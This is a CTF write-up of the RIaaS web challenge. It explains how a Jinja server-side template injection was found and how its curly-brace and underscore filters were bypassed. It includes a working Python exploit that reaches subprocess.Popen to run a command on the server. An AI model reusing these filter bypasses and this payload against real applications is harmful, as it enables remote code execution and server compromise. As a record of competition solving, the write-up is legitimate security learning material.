Tags: ssti web rce
Rating:
## Introduction to destruction
##
This task was particularly interesting because as it turned out my solution was not only uninteded one, but also the intended solution wasn't working remotely and nobody could actually get the flag this way.
This was also my very first "first blood", so you can imagine how great it felt to get the flag... But let's start from the top.
The challenge description says
> Welcome to Curl As A Service V2, Last time I actually did visit the url, but this i don't so I cant be hacked(flag file is called flag), http://167.99.154.216:3050
##
## A bit of recon
##
Curl as a Service was another challenge during this CTF, but as the description says it's second version called RIaaS (Random Input as a Service) wasn't really running anything. In fact it was just a static website saying:
> Please login so that are robots know that you are human, But our login page seems to be lost
Robots, ey?
Looking into `robots.txt` file we could find this:
>User-agent: Stormtroopers
>
>
>Disallow: /nottheflaglol
So let's visit `/nottheflaglol`. As you can see this looks a bit more interesting:
![not the flag page contents](https://i.imgur.com/vqdy493.png)
##
## Playing with the devil
##
Trying to put anything into the field we get `no curl input` so it means that the input is somehow validated and to get better result it need to contain `curl http://` in it.
Basically anything with that part works, so for example `test curl http://` results in getting following message:
> You really thought I am going to execute 'test curl http://' ?
Our input gets reflected. Awesome!
Playing with it for a while I've noticed that some charachters are not reflected in the output. If I try to input `{{_test_}} curl http://` then I get following result:
> You really thought I am going to execute 'test curl http://' ?
Both `{{`, `}}` as well as `_` characters are stripped. And how these characters looks like? Of course, like parts of jinja templates.
This could mean only one thing. That I have to look for SSTI here.
##
## Let's SSTI that motherf...
##
The big quesion. How to perform SSTI in Jinja without the double curly braces used to execute and print code or without underscore that's needed to get out of the template sandbox?
Turns out we can do `{% print(expression) %}` instead of `{{expression}}` and it works just fine, so one of the two points is checked.
The second one - underscores - took me a moment. I googled `jinja SSTI underscore bypass` and it got me here: https://0day.work/jinja2-template-injection-filter-bypasses/
Turns out we can pass the underscores as query parameters and then put them into our template injection using `request.args`. Neat way to bypass underscore filter.
Example - we can enter the challenge website adding class and mro parameter in the query string like this: http://167.99.154.216:3050/nottheflaglol?class=\_\_class\_\_&mro=\_\_mro\_\_
and then make an injection like this
`{% print(request|attr(request.args.class)|attr(request.args.mro)) %}`
and it will be an equivalent of
`{{request.__class__.__mro__}}`
simple, right?
##
## The Exploit
##
This allowed me to build my payload in python using typical SSTI techniques for jinja:
```python
from requests import post
import html
cmd = "cat flag"
mro = "request|attr(request.args.class)|attr(request.args.mro)"
subclasses = "((%s)[3]|attr(request.args.sc))()" % mro
popen = "(%s)[363]" % subclasses
code = "(%s)(request.args.cmd.split(' '), stdout=-1).communicate()[0]" % popen
payload = "{%%print(%s)%%} {# curl http:// #}" % code
res = post('http://167.99.154.216:3050/nottheflaglol?class=__class__&mro=__mro__&sc=__subclasses__&cmd=' + cmd, { "username": payload })
print(html.unescape(res.text))
```
The exploit above basically gets us to subclasses, picks a `subprocess.Popen` class, creates it's instance and then opens a subprocess running `cat flag` command.
This was RCE through SSTI returning us the flag, and only after one of the admins asked:
> Also the person who solved RIaaS please dm me
I've realised I've got the first blood in a totally unintended way! So cool...